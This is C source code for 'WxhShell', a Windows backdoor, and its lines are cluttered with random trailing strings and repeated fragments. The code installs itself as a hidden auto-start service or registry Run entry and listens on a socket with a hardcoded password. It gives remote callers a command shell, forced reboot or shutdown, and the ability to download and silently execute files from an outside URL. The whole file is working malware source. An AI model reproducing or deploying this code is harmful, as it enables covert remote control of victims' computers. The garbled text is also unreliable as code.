  case 'd': { bzX\IrJpOZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GlbySD@  
    if(Boot(SHUTDOWN)) ?pn}s]*/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S zUpWy&  
    else { oo=Qt(#  
    closesocket(wsh); &4b&X0pU  
    ExitThread(0); i?fOK_d  
    } G8r``{C!  
    break; $)RNKMZC}A  
    } yto,>Utzg  
  // 获取shell -C<zF`jO  
  case 's': { B>GE 9y5  
    CmdShell(wsh); =0G!f$7^i  
    closesocket(wsh); _~*,m#uxJ  
    ExitThread(0); N 5i+3&  
    break; h"_~7 jq"  
  } AwslWkd=  
  // 退出 \/1<E?Q f  
  case 'x': { Td G!&:>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /c2w/+ _  
    CloseIt(wsh); ]3g?hM6  
    break; EI:w aIr  
    } D3)zk@N  
  // 离开 );Z1a&K5k  
  case 'q': { 9A,^c;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gi "941zVl  
    closesocket(wsh); <L`"!~Q  
    WSACleanup(); 7.Z@Wr?  
    exit(1); B<~ NS)w  
    break; \'9PZ6q{  
        } cG?cUw).E  
  } n84GZ5O>7  
  } | fSe>uVZ  
nWMmna.5  
  // 提示信息 Kt"BE j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k'#(1(xj  
} LE*h9((  
  } nS&3?lx9_  
|\U5) ,m  
  return; '1$!jmY  
} [o.B  
(iR ide  
// shell模块句柄 4H|(c[K;  
int CmdShell(SOCKET sock) ]|sAK%/  
{ |i ZfYi&^  
STARTUPINFO si; >2< 8kBF_  
ZeroMemory(&si,sizeof(si)); '3<fsK=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~M\I;8ne  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7DIIx}A  
PROCESS_INFORMATION ProcessInfo; jLpc Zb,  
char cmdline[]="cmd"; de>v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "R3d+p  
  return 0; kI:}| _  
} 2D:fJ~|-[  
S-YM%8A[  
// 自身启动模式 |]aE<`D  
int StartFromService(void) KyzFnVH3)  
{ ~_s{0g]B  
typedef struct C-Ht(x|  
{ zkO<-w  
  DWORD ExitStatus; ] Puy!Q  
  DWORD PebBaseAddress; bd<m%OM""  
  DWORD AffinityMask; &NSY9'N,  
  DWORD BasePriority; H)>@/"j;  
  ULONG UniqueProcessId; #( 1j#\  
  ULONG InheritedFromUniqueProcessId; b*FC\ :\  
}   PROCESS_BASIC_INFORMATION; Le*.*\  
z^GDJddG  
PROCNTQSIP NtQueryInformationProcess; vmLxkjUm#  
H6&J;yT}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5ux`U{`m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <}sq?Sfq!  
cZ<A0  
  HANDLE             hProcess; /__PSK  
  PROCESS_BASIC_INFORMATION pbi; ;s~X  
=L C:SFzF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5* 0y7K/D  
  if(NULL == hInst ) return 0; XEdzpkB  
{U84 _Pi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U-:ieao@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )x]3Zq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F*.g;So  
gl]E_%tH  
  if (!NtQueryInformationProcess) return 0; cetvQAGXY  
#^4,GLIM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vur bW=~g  
  if(!hProcess) return 0; P) uDLFp]  
=b[_@zq]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o}<4*qlI  
!xwG% {_  
  CloseHandle(hProcess); ]XTu+T.aT  
z.CywME<)t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5l,ZoB8  
if(hProcess==NULL) return 0; }=v)Js  
0jzbG]pc:E  
HMODULE hMod; meCC?YAB  
char procName[255]; ?]rPRV  
unsigned long cbNeeded; VOr1  
PC qZNBN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (D 9Su^:1  
#_B-4sm  
  CloseHandle(hProcess); [y0O{,lI  
HBY.DCN[Z  
if(strstr(procName,"services")) return 1; // 以服务启动 sO5?aB&  
J -ePE7i  
  return 0; // 注册表启动 o=RM-tR`v  
} T2D<UhP  
w ~ dk#=  
// 主模块 .)+h H y  
int StartWxhshell(LPSTR lpCmdLine) }/,HM9Ke  
{ *-12VIG'H  
  SOCKET wsl; 4:7V./" 9  
BOOL val=TRUE; !bC+TYsU  
  int port=0; (o J9k[(  
  struct sockaddr_in door;  `juLQH  
ZbT/$\0(6  
  if(wscfg.ws_autoins) Install(); KE1ao9H8wR  
:0/q5_t  
port=atoi(lpCmdLine); < Z|Ep1W  
oxj3[</'k  
if(port<=0) port=wscfg.ws_port; a"av#Y  
@w>zF/  
  WSADATA data; WsFk:h'r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tV9L D>3  
(Z}>1WRju  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nkv(~ej(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @vMA=v7a  
  door.sin_family = AF_INET; kqb0>rYa   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9 C{;h  
  door.sin_port = htons(port); 4G@nZn  
\j2;4O?`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zd_HxYrN  
closesocket(wsl); X]loJoM9  
return 1; |e a~'N1  
} 7?v#'Ie s  
2qi'g:qe  
  if(listen(wsl,2) == INVALID_SOCKET) { /cK%n4l.y  
closesocket(wsl); SSBg?H'T  
return 1; JxjI]SF02  
} " v}pdUW  
  Wxhshell(wsl); xvNo(>  
  WSACleanup(); f/kI| Z  
\*\R1_+  
return 0; 5/QRL\  
cE iu)2*e  
} SI_iI71  
v_S4hz6w\  
// 以NT服务方式启动 ez3Z3t`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fZKt%m  
{ kGkA:g:  
DWORD   status = 0; Y:ldR  
  DWORD   specificError = 0xfffffff; rtQHWRUn  
a{[+<8=@1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .P$IJUYO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =V97;kq+v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dJ:MjQG`W  
  serviceStatus.dwWin32ExitCode     = 0; 8SmnMt  
  serviceStatus.dwServiceSpecificExitCode = 0; \tyg(srw0  
  serviceStatus.dwCheckPoint       = 0; 3K@@D B6  
  serviceStatus.dwWaitHint       = 0; ,uz ]V1  
B$?qQ|0:=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?4G|+yby  
  if (hServiceStatusHandle==0) return; Zs2-u^3&  
I =Wc&1g  
status = GetLastError(); %g]vxm5?  
  if (status!=NO_ERROR) zu2HH<E  
{ uE=$p)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m6 s7F/  
    serviceStatus.dwCheckPoint       = 0; ]v G{kAnH  
    serviceStatus.dwWaitHint       = 0; CnN9!~]"  
    serviceStatus.dwWin32ExitCode     = status; qP!P +'B  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8_H=^a>2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _)$PKOzbb  
    return; A\Txb_x  
  } @^ ik[9^H  
2}vg U$a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WqrgRpM{  
  serviceStatus.dwCheckPoint       = 0; MYe HS   
  serviceStatus.dwWaitHint       = 0; 2eQdQwX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kHc<*L_ V  
} %OcGdbs  
Oq(VvS/  
// 处理NT服务事件,比如:启动、停止 he+#Q 6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (IbW; bV  
{ [O ",  
switch(fdwControl) vQ@2FZzu>  
{ 8 iC:xcN3  
case SERVICE_CONTROL_STOP: 2WvN2" f3  
  serviceStatus.dwWin32ExitCode = 0; w'7R4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m+$ @'TbP  
  serviceStatus.dwCheckPoint   = 0; MVCl.o  
  serviceStatus.dwWaitHint     = 0; EA<}[4#jS  
  { |rRG=tG_'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]7AX%EG3  
  } lz | 64J  
  return; }iBC@`mg(  
case SERVICE_CONTROL_PAUSE: c:M$m3Cs?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 02JL*  
  break; vOI[Z0Lq9h  
case SERVICE_CONTROL_CONTINUE: N?4q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RAs0]K  
  break; io4A>>W==/  
case SERVICE_CONTROL_INTERROGATE: tZWrz e^  
  break; M] V.!z9B  
}; Ix DWJ#k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zGcqzYbuA  
} (3,.3)%`  
> ^[z3T  
// 标准应用程序主函数 |-2}j2'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IF k  
{ &217l2X /  
u3tZ[Y2 c  
// 获取操作系统版本 |I[7,`C~  
OsIsNt=GetOsVer(); '3l$al:H^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $<?X7n^  
@=]8^?$t 0  
  // 从命令行安装 Md; /nJO~{  
  if(strpbrk(lpCmdLine,"iI")) Install(); VU!w!GN]Y  
-[#n+`M  
  // 下载执行文件 M"^K 0 .  
if(wscfg.ws_downexe) { yfjXqn[Z4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iy5R5L 2  
  WinExec(wscfg.ws_filenam,SW_HIDE); w5~i^x  
} ek-!b!iI  
t]_S  
if(!OsIsNt) { eQX`,9:5  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,35&G"JK5  
HideProc(); @y~P&HUN  
StartWxhshell(lpCmdLine); eTE2J~\  
} P]<= ! F  
else Sg*0[a3z  
  if(StartFromService()) XbvDi+R 2A  
  // 以服务方式启动 17UK1Jx,  
  StartServiceCtrlDispatcher(DispatchTable); $.e)  
else uf)Oy7FQ  
  // 普通方式启动 GaNq2G  
  StartWxhshell(lpCmdLine); !DjT<dxf  
4,eQW[;kk  
return 0; _ptP[SV^j  
} u"VS* hSH  
U :9=3A2$x  
?p8Qx\%*  
Ns~&sE:  
=========================================== 1IA5.@G:  
&,W$-[  
(7q^FtjA#  
6!7Pm>ml  
[ F([  
\gKdD S  
" sB*o)8  
MR9/Y:Nm  
#include <stdio.h> x6yW:tUG5  
#include <string.h> , r+"7$  
#include <windows.h> )@ PnTpL*  
#include <winsock2.h> 0g(6r-2)7  
#include <winsvc.h> [Z }B"  
#include <urlmon.h> T[Q"}&bB  
3B18dv,V  
#pragma comment (lib, "Ws2_32.lib")  Q9y*:  
#pragma comment (lib, "urlmon.lib") EnCU4CU`  
t3F?>G#y  
#define MAX_USER   100 // 最大客户端连接数 nmE5]Pcg  
#define BUF_SOCK   200 // sock buffer B\<ydN  
#define KEY_BUFF   255 // 输入 buffer a?<?5   
@!H '+c  
#define REBOOT     0   // 重启 %O) Z  
#define SHUTDOWN   1   // 关机 xUj2 ]Q>R+  
N~#D\X^t.  
#define DEF_PORT   5000 // 监听端口 ~Yl$I,  
ckwF|:e 7*  
#define REG_LEN     16   // 注册表键长度 gL]'B!dGd  
#define SVC_LEN     80   // NT服务名长度 U )Zt-og  
,Aa|Bd]b  
// 从dll定义API Zq?_dIX %  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KRk~w]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X ]s"5ju|t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P>htQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V/H@vKN2  
wc[c N+p  
// wxhshell配置信息 XJFnih  
struct WSCFG { E%*AXkJ'dZ  
  int ws_port;         // 监听端口 dq 8+m(7k  
  char ws_passstr[REG_LEN]; // 口令 6F5,3&  
  int ws_autoins;       // 安装标记, 1=yes 0=no /?3:X *  
  char ws_regname[REG_LEN]; // 注册表键名 NNX% Bq  
  char ws_svcname[REG_LEN]; // 服务名 mU]s7` %<>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -Cj_B\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z>:U{!5k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'O "kt T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v>I<|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FGVb@=TO>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9v?V  
X% J%A-k]  
}; 2v^lD('  
!GNXt4D  
// default Wxhshell configuration 1o#vhk/ "+  
struct WSCFG wscfg={DEF_PORT, zz3 r<?#5  
    "xuhuanlingzhe", [:pl-_.C  
    1, FW^.m?}|  
    "Wxhshell", n0FYfqH  
    "Wxhshell", + U5U.f%  
            "WxhShell Service", h ]}`@M"  
    "Wrsky Windows CmdShell Service", D=9}|b/  
    "Please Input Your Password: ", V_M@g;<o  
  1, SQIdJG^:  
  "http://www.wrsky.com/wxhshell.exe", 0^iJlR2  
  "Wxhshell.exe" 44Qk;8*  
    }; ? Q:PPqQ  
> ZDC . ~  
// 消息定义模块 2fBYT4*P;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s"rg_FoL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?z"YC&Tp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _S<?t9mS  
char *msg_ws_ext="\n\rExit."; '?k' 6R$'\  
char *msg_ws_end="\n\rQuit."; >Fh#DmQ  
char *msg_ws_boot="\n\rReboot..."; `r.N  
char *msg_ws_poff="\n\rShutdown..."; ?d,M.o{0]  
char *msg_ws_down="\n\rSave to "; 5 ZUy:  
6 5"uD7;  
char *msg_ws_err="\n\rErr!"; J" wKRy  
char *msg_ws_ok="\n\rOK!"; {e6 KJ@H6  
%#4 +!  
char ExeFile[MAX_PATH]; =BW9/fG  
int nUser = 0; GWh|FEqUbf  
HANDLE handles[MAX_USER]; 9TW8o}k`  
int OsIsNt; yjv&4pIc1  
$P_x v  
SERVICE_STATUS       serviceStatus; ~bFdJj 1*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =VCQ*  
%%x0w^  
// 函数声明 r4S=I   
int Install(void); i"fCpkAP  
int Uninstall(void); ;r=?BbND?  
int DownloadFile(char *sURL, SOCKET wsh); f~v"zT  
int Boot(int flag); >DS}#'N4l  
void HideProc(void); a'^0.1  
int GetOsVer(void); |P~q/Wff  
int Wxhshell(SOCKET wsl); ,N;v~D$Y  
void TalkWithClient(void *cs); h;}ODK(.  
int CmdShell(SOCKET sock); }_vM&.GFlL  
int StartFromService(void); W%H]Uyt  
int StartWxhshell(LPSTR lpCmdLine); iGQ n/Xdo  
BWohMT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (6o:4|xl0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i)8gCDc  
#\0TxG5'QA  
// 数据结构和表定义 d{l{P] nr  
SERVICE_TABLE_ENTRY DispatchTable[] = Jbkt'Z(&J  
{  "YD.=s  
{wscfg.ws_svcname, NTServiceMain}, 6,3}/hgWJ$  
{NULL, NULL} x36NL^  
}; T#Fn:6_=  
Yim#Pq&_  
// 自我安装 "p`o]$Wv  
int Install(void) `+Xe'ey  
{ <\Vi,,  
  char svExeFile[MAX_PATH]; \E~Q1eAJT  
  HKEY key; |thad!?  
  strcpy(svExeFile,ExeFile); 0ovZ&l  
rF'<r~Lw  
// 如果是win9x系统,修改注册表设为自启动 >waN;&>/  
if(!OsIsNt) { {Bc#?n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .h a`)@MsZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;i}i5yv2  
  RegCloseKey(key); ^YqbjL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %db3f z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iW":DOdi_  
  RegCloseKey(key); Qz# 3p3N?  
  return 0; s ?5 d  
    } nc- Qz  
  } a\>+=mua  
} l-Fmn/V  
else { m_(E(_  
M;V&KG Z  
// 如果是NT以上系统,安装为系统服务 aDXpkG0E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i{P%{hVb  
if (schSCManager!=0) kO jEY  
{ +fPNen4E  
  SC_HANDLE schService = CreateService ` v>/  
  ( eC.w?(RB  
  schSCManager, i>WOYI9  
  wscfg.ws_svcname, \N6<BS  
  wscfg.ws_svcdisp, 1x8(I&i  
  SERVICE_ALL_ACCESS, U>bP}[&S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AVU7WU{  
  SERVICE_AUTO_START, $m{{,&}k  
  SERVICE_ERROR_NORMAL, h<GyplG  
  svExeFile, wXP_]-  
  NULL, x Ridc^  
  NULL, %;'~%\|dZM  
  NULL, B%)zGTp6  
  NULL, QZ#3Bn%B5  
  NULL :l4^iSf  
  ); ysL0hwir  
  if (schService!=0) s87 a %  
  { ,!jR:nApE  
  CloseServiceHandle(schService); <` #,AVH  
  CloseServiceHandle(schSCManager); |G>q:]+AV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5s#R`o %Z  
  strcat(svExeFile,wscfg.ws_svcname); <\+Po<)3j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fmtuFr^a1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yY'gx|\  
  RegCloseKey(key); pb~Ps#"Zg  
  return 0; PkjT&e)  
    } is64)2F](  
  } #)Ep(2  
  CloseServiceHandle(schSCManager); PpW A f\  
} q$ bHO  
} i?lX,9%  
Y"r3i]  
return 1; 58qaA\iw  
} o-L|"3 P  
^ b=5 6~[  
// 自我卸载 EPQ&?[6  
int Uninstall(void) M4R%Gr,La  
{ M0Lon/%  
  HKEY key; b(g_.1[  
Ar\IZ_Q  
if(!OsIsNt) { >+zAWK9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U+:S7z@j?  
  RegDeleteValue(key,wscfg.ws_regname); u!hqq^1  
  RegCloseKey(key); 9NJ=~Ub-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~3LhcU-  
  RegDeleteValue(key,wscfg.ws_regname); f<Va<TL6-  
  RegCloseKey(key); z?8zFP  
  return 0; J,CJPUf&  
  } /+Wb6{lY  
} Dh*~U :6$g  
} u]ZqF *  
else { }w;Q^EU  
B)_!F`9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E|KLK4 ]  
if (schSCManager!=0) aa%Yk"V @  
{ U@1#!ZZ6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qpluk!  
  if (schService!=0) \r:m({G  
  { ,{#RrF e  
  if(DeleteService(schService)!=0) { 5JJg"yuY"  
  CloseServiceHandle(schService); l|4xKBCV]  
  CloseServiceHandle(schSCManager); H[>klzh6 !  
  return 0; %#[r_QQ^  
  } ;mCGh~?G  
  CloseServiceHandle(schService); +OV%B .  
  } l:>qR/|m  
  CloseServiceHandle(schSCManager); |;x fe"]  
} (:tTx>V#  
} I^rZgp<'i  
p{\qSPK  
return 1; ]w1BJZa36  
} 4WBo ZJ  
%!N2!IiVs  
// 从指定url下载文件 iKR8^sj7S  
int DownloadFile(char *sURL, SOCKET wsh) g_-?h&W  
{ H24ate?t,  
  HRESULT hr; @g@ fL%  
char seps[]= "/"; f(w#LuW<  
char *token; \i&vOH'  
char *file; 8u7K$Q  
char myURL[MAX_PATH]; gPA>*;?E;@  
char myFILE[MAX_PATH]; v@}1WGY  
ogkz(wZ  
strcpy(myURL,sURL); nN(D7wk  
  token=strtok(myURL,seps); 6!gtve_  
  while(token!=NULL) -Z[R S{#+T  
  { s[vPH8qb  
    file=token; vTe$77n  
  token=strtok(NULL,seps); >*<6 zQf  
  } +73=2.C0  
=:ya;k&  
GetCurrentDirectory(MAX_PATH,myFILE); ,?7xb]h  
strcat(myFILE, "\\"); { ="Su{i}}  
strcat(myFILE, file); Ppi-skT  
  send(wsh,myFILE,strlen(myFILE),0); q9g[+*9]$  
send(wsh,"...",3,0); V'f&JQ A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VR5e CJ:i  
  if(hr==S_OK) }uV?  
return 0; EL2hD$  
else  YiY&; )w  
return 1; 2Be?5+  
JsWq._O{/  
} W>t&N  
1DI"LIL  
// 系统电源模块 /: \VwH  
int Boot(int flag) X*c_^g{  
{ #buV;!_!E?  
  HANDLE hToken; 5;sQ@  
  TOKEN_PRIVILEGES tkp; Jm*M7g j  
b}}1TnS)  
  if(OsIsNt) { ^R8U-V8:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~_# Y,)S!z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d =B@EyN  
    tkp.PrivilegeCount = 1; T?p`Y| gl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e!2%ku  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $jUS[.S_|I  
if(flag==REBOOT) { b0zxT9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U||w6:W5  
  return 0; 7am/X.  
} >TQBRA;'  
else { GP7) m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >TY5ZRB  
  return 0; vS24;:f  
} cA (e "N  
  } +|}K5q\  
  else { #<PA- y  
if(flag==REBOOT) { 35N/v G0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  7KSGG1ts  
  return 0; n'&`9M['%d  
} W2W2WyPk  
else { U_ ?elz\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,SE$Rh  
  return 0; DS,FVh".|  
} DESViQM  
} #pm-nU%|_j  
*?R\[59  
return 1; !=h|&Vta  
} ma]F%E+$  
~QEXB*X-g'  
// win9x进程隐藏模块 l_j<aCY?|  
void HideProc(void) @7[.> I(  
{ VM V]TPks>  
mB|mt+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M_e$l`"G  
  if ( hKernel != NULL ) Rm\ '];  
  { 5?~[|iPv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x[O#(^q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :z0>H5  
    FreeLibrary(hKernel); r~D~7MNl  
  } ;MRC~F=  
;~gd<KK  
return; cf[u%{ 6Y  
} $ DZQdhv  
1N$gE  
// 获取操作系统版本 ]Re~V{uh  
int GetOsVer(void) sG1]A:_<C  
{ ap$ tu3j  
  OSVERSIONINFO winfo; YaJ{"'}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T m@1q!G  
  GetVersionEx(&winfo); ?m_RU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c!u}KVH  
  return 1; |C)UZ4A/p  
  else p,AD!~n`  
  return 0; EDidg"0p  
} }MavI'  
w[$nO#  
// 客户端句柄模块 b\0Q:  
int Wxhshell(SOCKET wsl) .dKRIFo  
{ yL3<X w|  
  SOCKET wsh; 7U[L\1zS  
  struct sockaddr_in client; | 8L`osg  
  DWORD myID; %d[xr h  
rX>y>{w~  
  while(nUser<MAX_USER)  ZV q  
{ L]}RSE2  
  int nSize=sizeof(client); 2bn@:71`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =u3@ Dhw  
  if(wsh==INVALID_SOCKET) return 1; Z/05 wB  
3Gd&=IJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R,5$ 0_]|+  
if(handles[nUser]==0) T;[c<gc/  
  closesocket(wsh); , w'$T)  
else ~h^}W$pO  
  nUser++; if!`Qid  
  } ~j&:)a'^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k-ex<el)#  
6[2?m*BsN  
  return 0; {|J2clL  
} } Ved  
:%b2;&A[  
// 关闭 socket LI|HET_  
void CloseIt(SOCKET wsh) FPUR0myCU  
{ L|1zHDxQ  
closesocket(wsh); FqUt uN  
nUser--; q}F%o0  
ExitThread(0); vBYT)S  
} CygV_q  
v4>"p!_C  
// 客户端请求句柄 x^O2Lj,w\  
void TalkWithClient(void *cs) +l?ro[#6&.  
{ 73z|'0.  
vwH7/+  
  SOCKET wsh=(SOCKET)cs; .q9|XDqQc  
  char pwd[SVC_LEN]; $E,DxDT  
  char cmd[KEY_BUFF]; ic]tUOC:  
char chr[1]; :0j`yo:w  
int i,j; //5_E7Ehu$  
<&0*5|rR  
  while (nUser < MAX_USER) { Q%VR@[`\  
P"_}F  
if(wscfg.ws_passstr) { L%O8vn^3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fx99"3`3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n25tr'=  
  //ZeroMemory(pwd,KEY_BUFF); JX0_UU  
      i=0; 9"lW"lG!  
  while(i<SVC_LEN) { i[\u-TF  
S@G{|.)2  
  // 设置超时 U8$dG)PhA  
  fd_set FdRead; k mr 4cU5  
  struct timeval TimeOut; PM<LR?PLc  
  FD_ZERO(&FdRead); ApJf4D<V  
  FD_SET(wsh,&FdRead); xOyL2   
  TimeOut.tv_sec=8; P5xmLefng  
  TimeOut.tv_usec=0; cTa D{!zm5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6`";)T[G9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s1\BjSzk  
M Hyl=5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tMBy ^@p  
  pwd=chr[0]; *^+xcG  
  if(chr[0]==0xd || chr[0]==0xa) { [5eT|uy  
  pwd=0; Hh;6B!zb+  
  break; v_h*:c  
  } :;WDPRx  
  i++; Eg29|)qsz  
    } :aqskeT  
EM w(%}8w  
  // 如果是非法用户,关闭 socket })SdaZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T_%]#M  
} 5 ^z ,'C  
$(L7/M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hpg;?xAT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b-zX3R;  
/ cen# pb  
while(1) { 1`_)%Y[ZJ  
dsZ ( D:)  
  ZeroMemory(cmd,KEY_BUFF); sK/"  
i6:yNb ='  
      // 自动支持客户端 telnet标准   <a[8;YQC  
  j=0; XK-x*|  
  while(j<KEY_BUFF) { ,wo"(E!4e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rPpAg  
  cmd[j]=chr[0]; ({nSs5)$  
  if(chr[0]==0xa || chr[0]==0xd) { Od]xIk+E  
  cmd[j]=0; \` ^Tbn:  
  break; T|2%b*/  
  } V@'S#K#  
  j++; "[S 6w  
    } gbf=H8]  
. \0=1P:  
  // 下载文件 *9(1:N;#  
  if(strstr(cmd,"http://")) { jyH_/X5i7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K/+C6Y?  
  if(DownloadFile(cmd,wsh)) 10IPq#Jj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ",V5*1w  
  else &E`Z_} ~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "$pg mf2  
  } ucPMT0k  
